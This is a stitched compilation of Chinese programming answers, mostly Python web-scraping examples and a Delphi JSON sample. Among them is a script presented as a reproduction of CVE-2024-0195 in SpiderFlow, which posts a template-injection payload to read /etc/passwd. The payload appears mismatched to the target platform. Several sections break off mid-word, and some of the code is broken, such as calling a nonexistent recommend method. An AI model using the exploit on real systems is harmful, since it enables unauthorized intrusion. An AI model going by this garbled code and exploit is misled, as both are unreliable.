在Python3中，使用requests库进行网络爬虫时，可以通过以下步骤获取CSRF-Token、处理Token过期以及自动处理CSRF-Token：

1. 获取初始页面的CSRF-Token：

   使用requests库发送一个GET请求来获取HTML页面，然后使用BeautifulSoup库来解析HTML，提取CSRF-Token。

import requests
from bs4 import BeautifulSoup
 
response = requests.get('http://example.com')
soup = BeautifulSoup(response.text, 'html.parser')
csrf_token = soup.find('meta', {'name': 'csrf-token'})['content']
print(csrf_token)

2. 处理Token过期：

   如果Token过期，服务器通常会返回一个错误，表明需要一个新的CSRF-Token。在这种情况下，重新获取一个新的Token。

3. 自动处理CSRF-Token：

   在发送POST或PUT等修改数据的请求时，将CSRF-Token作为请求头的一部分发送。

headers = {
    'X-CSRF-Token': csrf_token,
    # 其他请求头
}
data = {
    # 表单数据
}
response = requests.post('http://example.com/submit', headers=headers, data=data)

如果服务器返回一个错误，提示CSRF-Token无效或过期，你需要重新获取一个新的Token，并在下次请求中使用它。

注意：在实际应用中，处理CSRF保护可能还需要考虑其他安全因素，如Cookie管理、Session跟踪等。

复现CVE-2024-0195漏洞，需要具备以下条件：

1. 安装有Python环境。
2. 安装requests库。
3. 对SpiderFlow平台有基本的了解。

以下是一个简单的Python脚本，用于尝试利用该RCE漏洞：

import requests
 
# 目标SpiderFlow平台的URL
url = "http://your-spider-flow-platform-url"
 
# 利用RCE漏洞的payload
payload = """
{% set my_dict = {'k1': 'v1', 'k2': 'v2'} %}
{{ [].__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
"""
 
headers = {
    'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Cookie': 'session=your-spider-flow-session-cookie'
}
 
# 尝试发送带有Jinja2模板注入的请求
response = requests.post(url, data=payload, headers=headers)
 
if response.status_code == 200:
    print("请求成功，应答如下：")
    print(response.text)
else:
    print("请求失败，状态码：", response.status_code)

请注意，这个脚本仅用于验证漏洞存在，不得用于未授权访问他人计算机或其他非法目的。实际利用时应确保遵守所有适用的法律法规。

由于这个问题涉及的内容较多且涉及到一些敏感信息，我将提供一个概览性的解决方案和相关的代码实例。

首先，我们需要定义一个Django模型来存储数据，并使用Scrapy爬虫来抓取数据。

# models.py
from django.db import models
 
class NewEnergyCar(models.Model):
    name = models.CharField(max_length=255)
    score = models.FloatField()
    # 其他字段...
 
# scrapy items.py
class NewEnergyCarItem(scrapy.Item):
    name = scrapy.Field()
    score = scrapy.Field()
    # 其他字段...

接下来，我们需要编写Scrapy爬虫来抓取懂车帝网站的数据，并将抓取的数据存储到Django模型中。

# spider.py
import scrapy
from myproject.models import NewEnergyCar
 
class UnderstandingCarSpider(scrapy.Spider):
    name = 'understanding_car'
    start_urls = ['http://www.dongchedi.com/']
 
    def parse(self, response):
        # 假设我们已经解析出了数据
        cars = response.css('div.car-listing')
        for car in cars:
            name = car.css('div.car-name::text').extract_first()
            score = car.css('div.car-score::text').extract_first()
            # 创建或保存数据到数据库
            NewEnergyCar.objects.update_or_create(
                name=name,
                defaults={'score': score}
            )

最后，我们需要创建一个Django视图来展示数据可视化图表。

# views.py
from django.shortcuts import render
from myproject.models import NewEnergyCar
 
def car_analysis(request):
    cars = NewEnergyCar.objects.all()
    # 假设我们已经准备好了数据用于绘图
    data = prepare_data_for_chart(cars)
    return render(request, 'car_analysis.html', {'data': data})

在HTML模板中，我们可以使用JavaScript库（如Chart.js）来展示图表。

<!-- car_analysis.html -->
<canvas id="myChart"></canvas>
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
<script>
    var ctx = document.getElementById('myChart').getContext('2d');
    var myChart = new Chart(ctx, {
        type: 'bar', // 或者 'line', 'pie', 等等
        data: {{ data|safe }},
        // 其他图表选项...
    });
</script>

这个简化的例子展示了如何结合Django和Scrapy来完成一个基本的新能源汽车数据分析和可视化系统的框架。在实际应用中，你需

from fake_useragent import UserAgent
from lxml import etree
import requests
 
# 获取随机的User-Agent
def get_random_ua():
    return UserAgent().random
 
# 使用requests和lxml下载页面并解析
def download_parse_page(url):
    headers = {'User-Agent': get_random_ua()}
    response = requests.get(url, headers=headers)
    if response.status_code == 200:
        return etree.HTML(response.text)
    else:
        return None
 
# 示例使用
url = 'https://example.com'
parsed_page = download_parse_page(url)
if parsed_page:
    # 使用XPath选择器选择页面元素
    xpath_selector = '//title'
    title = parsed_page.xpath(xpath_selector)[0].text
    print(title)
else:
    print("页面下载失败")

这段代码使用了fake_useragent库来生成随机的User-Agent，使用requests库来发送带有User-Agent的HTTP请求，使用lxml的etree来解析页面并使用XPath选择器提取页面信息。这是一个简单的示例，展示了如何在Python中使用这些工具来创建基本的网络爬虫。

import requests
from bs4 import BeautifulSoup
import pandas as pd
import matplotlib.pyplot as plt
 
# 设置请求头，模拟浏览器访问
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3',
    'Accept-Encoding': 'gzip, deflate',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Upgrade-Insecure-Requests': '1'
}
 
# 请求网页
def get_html(url):
    try:
        response = requests.get(url, headers=headers)
        if response.status_code == 200:
            return response.text
        return None
    except requests.RequestException:
        return None
 
# 解析网页，提取热榜数据
def parse_html(html):
    soup = BeautifulSoup(html, 'lxml')
    ranks = soup.find_all(class_='HotItemList-itemTitle')
    rank_list = []
    for rank in ranks:
        rank_list.append(rank.text)
    return rank_list
 
# 保存数据
def save_data(data, filename):
    with open(filename, 'w', encoding='utf-8') as f:
        for item in data:
            f.write(item + '\n')
 
# 读取数据
def read_data(filename):
    with open(filename, 'r', encoding='utf-8') as f:
        data = f.readlines()
    return [item.strip() for item in data]
 
# 可视化热榜数据
def visualize(data):
    plt.figure(figsize=(20, 10))
    plt.title('2024年知乎热榜', fontsize=20)
    plt.xlabel('排名', fontsize=16)
    plt.ylabel('话题', fontsize=16)
    plt.tick_params(labelsize=16)
    plt.barh(range(len(data)), list(data.values()), align='center')
    plt.yticks(list(data.keys()), list(data.values()))
    plt.show()
 
# 主函数
def main():
    url = 'https://www.zhihu.com/hot'
    html = get_html(url)
    rank_list = parse_html(html)
    # save_data(rank_list, 'zhihu_hot_topics.txt')
    # rank_list = read_data('zhihu_hot_topics.txt')
    visualize(rank_list)
 
if __name__ == '__main__':
    main()

这段代码实现了知乎热榜的爬取和可视化。首先，我们设置了请求头，以模拟浏览器访问知乎网站。然后，我们定义了get_html函数来发送请求并获取网页内容。parse_html函数用于解析网页，提取热榜话题并返回列表。最后，我们定义了save_data和read_data函数来保存和读取数据，以及visualize函数来绘制热榜的水平条形图，并在主函数main中调用这些函数。

Python 爬虫是一种常见的数据获取方式，可以用来抓取网页上的信息。以下是一个简单的 Python 爬虫示例，使用了 requests 库来发送 HTTP 请求，以及 BeautifulSoup 库来解析 HTML 内容。

首先，你需要安装必要的库：

pip install requests beautifulsoup4

以下是一个简单的 Python 爬虫示例，用于抓取一个网页上的所有链接：

import requests
from bs4 import BeautifulSoup
 
# 目标网页
url = 'https://example.com'
 
# 发送 HTTP 请求
response = requests.get(url)
 
# 确保网页请求成功
if response.status_code == 200:
    # 解析网页内容
    soup = BeautifulSoup(response.text, 'html.parser')
    
    # 找到所有的 <a> 标签，即链接
    for link in soup.find_all('a'):
        # 获取链接的href属性
        href = link.get('href')
        if href is not None:
            print(href)
else:
    print(f"Error: {response.status_code}")
 

这个例子只是 Python 爬虫入门的一个简单示例，实际的爬虫可能需要处理更复杂的情况，例如处理 AJAX 请求、应对反爬机制（如 CAPTCHA、IP封禁等）、遵守网站的robots.txt协议等。在开始爬取数据之前，请确保你已经了解并遵守相关的法律法规，并且不要滥用爬虫技术对他人网站的数据造成过大压力。

由于原始代码已经提供了一个很好的实践案例，我们可以基于这个案例简化和改进代码，以解决问题中提出的需求。以下是一个简化后的代码实例，包含了存储数据到数据库和使用推荐系统的核心函数：

import requests
from bs4 import BeautifulSoup
import pymysql
import pandas as pd
from surprise import Dataset, Reader, SVD
from surprise.model_selection import train_test_split
from surprise import SVD
 
# 连接数据库
conn = pymysql.connect(host='localhost', user='your_username', password='your_password', db='your_dbname', charset='utf8')
 
# 使用pandas读取数据库数据
def read_from_db():
    df = pd.read_sql_query('SELECT * FROM university_ranking', conn)
    return df
 
# 将数据存入数据库
def save_to_db(data):
    data.to_sql('university_ranking', conn, if_exists='append', index=False)
 
# 创建推荐系统
def create_recommender_system(data):
    reader = Reader(rating_scale=False)
    data = Dataset.load_from_df(data[['university', 'score']], reader)
    trainset, testset = train_test_split(data, test_size=0.25)
    svd = SVD()
    svd.fit(trainset)
    return svd
 
# 获取大学排名
def get_university_ranking():
    url = 'http://www.shanghairanking.cn/rankings/bcur/2020'
    response = requests.get(url)
    soup = BeautifulSoup(response.text, 'html.parser')
    table = soup.find('table', attrs={'class': 'table-stats'})
    rows = table.find_all('tr')[1:]  # 跳过表头
 
    universities = []
    scores = []
    for row in rows:
        tds = row.find_all('td')
        universities.append(tds[1].text)
        scores.append(tds[2].text.replace(',', ''))  # 移除千分位分隔符
 
    df = pd.DataFrame({'university': universities, 'score': scores})
    return df
 
# 执行函数
def main():
    df = get_university_ranking()
    save_to_db(df)
    df_from_db = read_from_db()
    svd = create_recommender_system(df_from_db)
    # 推荐系统使用示例
    # 用户ID, 获取推荐学校
    user_id = 0
    recommendations = svd.recommend(user_id, n=3)
    for recommendation in recommendations:
        print(f"Recommendation for user ID {user_id}: {recommendation.item_id} with score: {recommendation.score}")
 
if __name__ == "__main

import requests
from pyquery import PyQuery as pq
 
# 请求详情页URL，并获取页面内容
def get_page_content(url):
    headers = {
        'User-Agent': '自己的User-Agent',
        'Referer': 'https://detail.tmall.com/'
    }
    try:
        response = requests.get(url, headers=headers)
        if response.status_code == 200:
            return response.text
    except requests.RequestException:
        return None
 
# 解析页面并提取《问大家》数据
def parse_and_extract_qa(page_content):
    doc = pq(page_content)
    qa_items = doc('.tm-qablock').items()
    qa_data = []
    
    for item in qa_items:
        question = item.find('.tm-qablock-question').text()
        answer = item.find('.tm-qablock-answer').text()
        qa_data.append({
            'question': question,
            'answer': answer
        })
    return qa_data
 
# 示例使用
if __name__ == '__main__':
    url = 'https://detail.tmall.com/item.htm?id=622598955172&rn=62d55172c4f6e9e692846df6d1cbe28d&abbucket=10'
    page_content = get_page_content(url)
    qa_data = parse_and_extract_qa(page_content)
    for data in qa_data:
        print(data)

这段代码首先定义了get_page_content函数来发送请求并获取页面内容，然后定义了parse_and_extract_qa函数来解析页面并提取《问大家》数据。最后，在if __name__ == '__main__':块中，我们使用这两个函数来获取指定URL的页面内容，并打印出提取的数据。这个例子展示了如何使用Python爬取某个网页上的数据，并且是以面向对象的方式来进行的。

要使用Python爬取TED talk文稿，你可以使用requests库获取网页内容，然后使用BeautifulSoup解析网页。以下是一个简单的例子：

import requests
from bs4 import BeautifulSoup
 
# TED talk页面的URL
url = 'https://www.ted.com/talks/steven_pinker_on_language_and_the_human_mind'
 
# 发送HTTP请求
response = requests.get(url)
 
# 确保请求成功
if response.status_code == 200:
    # 解析网页
    soup = BeautifulSoup(response.text, 'html.parser')
    
    # 寻找包含演讲文稿的div
    # 注意：这里的选择器可能需要根据TED网站的实际HTML结构进行调整
    talk_div = soup.find('div', class_='talk_transcript_source')
    
    # 提取文稿内容
    if talk_div:
        transcript = talk_div.get_text()
        print(transcript)
    else:
        print("No transcript found.")
else:
    print("Failed to retrieve the webpage.")

请注意，TED网站可能会更改其HTML结构，这可能会导致解析代码需要相应更新。此外，TED有一些反爬策略，如需要登录或者需要同意隐私政策才能访问内容，这可能会增加爬取的复杂性。此代码只是一个基础示例，实际使用时可能需要处理更多的情况。

uses
  System.JSON;
 
procedure ParseJSONExample;
var
  JSONData: TJSONValue;
  JSONObject: TJSONObject;
  JSONArray: TJSONArray;
  Item: TJSONValue;
  NameValue: TJSONValue;
begin
  // 假设有一段 JSON 字符串
  const JSONString = '{"employees":[' +
                      '{"firstName":"John","lastName":"Doe" },' +
                      '{"firstName":"Anna","lastName":"Smith" },' +
                      '{"firstName":"Peter","lastName":"Jones" }]}'
  ;
 
  // 解析 JSON 字符串
  JSONData := TJSONObject.ParseJSONValue(JSONString);
  try
    // 确保 JSON 数据被正确解析
    if JSONData <> nil then
    begin
      // 获取 "employees" 数组
      JSONArray := JSONData.GetValue<TJSONArray>('employees');
      // 遍历数组
      for Item in JSONArray do
      begin
        // 将每个数组元素转换为 JSON 对象
        JSONObject := Item as TJSONObject;
        // 获取对象中的 "firstName" 和 "lastName" 值
        NameValue := JSONObject.GetValue('firstName');
        Writeln('FirstName: ', NameValue.Value);
        NameValue := JSONObject.GetValue('lastName');
        Writeln('LastName: ', NameValue.Value);
      end;
    end
    else
      Writeln('JSON is not valid');
  finally
    // 释放 JSON 数据对象
    JSONData.Free;
  end;
end;

这段代码展示了如何使用 Delphi 中封装好的 JSON 解析库来解析一个简单的 JSON 字符串。首先，使用 TJSONObject.ParseJSONValue 方法解析 JSON 字符串，然后检查解析结果是否为 nil，并对解析到的数据进行处理。最后，确保释放所有使用的资源。